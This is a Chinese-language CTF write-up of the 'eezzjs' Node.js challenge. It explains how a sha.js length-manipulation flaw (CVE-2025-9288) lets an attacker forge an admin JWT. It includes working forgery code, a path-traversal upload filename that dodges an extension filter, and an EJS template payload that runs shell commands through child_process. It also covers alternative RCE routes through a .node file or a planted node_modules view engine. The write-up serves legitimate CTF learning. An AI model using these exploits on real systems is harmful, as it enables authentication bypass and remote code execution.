前言 n1的题目真难,又刷新了对自己的定位,最简单的一题考的js,但是对js不是很熟悉
eezzjs 这题有两个点
首先是登录,因为没有注册功能,只有一个admin用户,所以只能想办法得到一个合法的token来进行登录
登录成功之后可以进行文件上传,但要求不能包含字符串’js’
不难注意到
1 2 3 4 5 6 7 8 9 10 11 12 13 function serveIndex (req, res ) { var templ = req.query .templ || 'index' ; var lsPath = path.join (__dirname, req.path ); try { res.render (templ, { filenames : fs.readdirSync (lsPath), path : req.path }); } catch (e) { console .log (e); res.status (500 ).send ('Error rendering page' ); } }
可以指定文件进行渲染,如果我们能上传一个.ejs文件,就可以实现rce了
关键是如何伪造出合法的token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const signJWT = (payload, { expiresIn } = {}, secret = JWT_SECRET ) => { const header = { alg : 'HS256' , typ : 'JWT' }; const now = Math .floor (Date .now () / 1000 ); console .log (payload) const body = { ...payload, length :payload.username .length ,iat : now }; if (expiresIn) { body.exp = now + expiresIn; } return [ toBase64Url (JSON .stringify (header)), toBase64Url (JSON .stringify (body)), sha256 (...[JSON .stringify (header), body, secret]) ].join ('.' ); };
签名的时候用的密钥是随机数,我们没办法获得,所以一直想不到如何伪造这个token
赛后看wp发现,如果debug一下,执行npm install 就会发现使用的sha.js版本是有cve的
[CVE-2025-9288 ]
一个简单的payload就可以很直观的理解这个漏洞
1 2 3 4 > require ('sha.js' )('sha256' ).update ('foo' ).digest ('hex' )'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' > require ('sha.js' )('sha256' ).update ('fooabc' ).update ({length:-3 }).digest ('hex' )'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
也就是如果我们传给update的参数是一个对象,他就会尝试将他转换成buffer,此时可以利用length:来控制被哈希的字符串的长度
如果我们控制length使得被hash的内容长度变成零,那么在密钥长度相同的情况下,得到的哈希值是相同的,于是就得到了我们的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 const sha = require ('sha.js' )const {verifyJWT} = require ("./auth" );const sha256 = (...messages ) => { const hash = sha ('sha256' ) messages.forEach ((m ) => {console .log ('[DEBUG] m =' , m); hash.update (m)}) return hash.digest ('hex' ) };const toBase64Url = (input ) => { const buffer = Buffer .isBuffer (input) ? input : Buffer .from (input); return buffer .toString ('base64' ) .replace (/\+/g , '-' ) .replace (/\//g , '_' ) .replace (/=+$/ , '' ); };const header = { "alg" : "HS256" , "typ" : "JWT" };const len=-(JSON .stringify (header).length +18 ); var payload = {username :"admin" ,length :len};const secret = 'q' .repeat (18 );console .log (sha256 (...[JSON .stringify (header), payload, secret]));const body = '{"length":-45,"username":"admin"}' ; token = [ toBase64Url (JSON .stringify (header)), toBase64Url (body), sha256 (...[JSON .stringify (header), payload, secret]) ].join ('.' );console .log (token);console .log (verifyJWT (token,secret));
运行得到token
1 token = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZW5ndGgiOi00NSwidXNlcm5hbWUiOiJhZG1pbiJ9.674 dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
现在登录的问题解决了,我们要想办法实现rce
waf
1 2 3 4 5 6 7 var {filedata,filename}=req.body ;var ext = path.extname (filename).toLowerCase ();if (/js/i .test (ext)) { return res.status (403 ).send ('Denied filename' ); }var filepath = path.join (uploadDir,filename);
可以用..来绕过 filename = ../../app/views/exploit.ejs/a/..
这样后缀名就为空,不会触发waf,同时文件也能上传到正确的位置,借用一下佬的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ssti_payload = b""" <% const cp = (Function('return process'))().mainModule.require('child_process'); const data = cp.execSync('cat /ffffffflag', 'utf8'); %> <pre><%= data %></pre> """ r = c.post( "/upload" , json=dict ( filename="../../app/views/exploit.ejs/a/.." , filedata=base64.b64encode(ssti_payload).decode(), ), )
最后再/?templ=exploit.ejs 就可以实现任意代码执行
但这并不是这题的预期解,nodejs的文档中有一个说明
1 If the exact filename is not found, then Node.js will attempt to load the required filename with the added extensions: .js, .json, and finally .node. When loading a file that has a different extension (e.g. .cjs), its full name must be passed to require (), including its file extension (e.g. require ('./file.cjs' )).
也就是require一个文件的时候这个文件没找到,那么他就会尝试给他换不同的后缀名(js,json,node)
我们这里就可以上传.node文件来实现rce
discord上还有一个佬的做法是,上传一个pwned文件到/app/node_modules/pwned
1 2 3 4 5 6 7 8 9 {"filename" :"../node_modules/pwned" ,"filedata" :"ZnVuY3Rpb24gX19leHByZXNzKCkgewogICAgY29uc29sZS5sb2coJ3B3bmVkYicpOwp9Cgptb2R1bGUuZXhwb3J0cyA9IHsgX19leHByZXNzIH07" }decode function __express ( ) { console .log ('pwnedb' ); } module.exports = { __express };
因为它存放在 node_modules 目录下,任何 require('pwned') 调用都会加载这个文件。
它导出了一个名为 __express 的函数。在 Express 生态中,一个模块如果导出了 __express 函数,就意味着它可以作为一个视图引擎被 Express 加载和使用。
这时再上传一个任意的1.pwned文件,随后使用?templ=1.pwned进行渲染,此时Express不知道如何处理.pwned文件,于是它会尝试加载一个名为 pwned 的视图引擎模块。它的查找逻辑是:require('pwned')。因此就调用了我们的__express函数,这样就可以执行任意代码了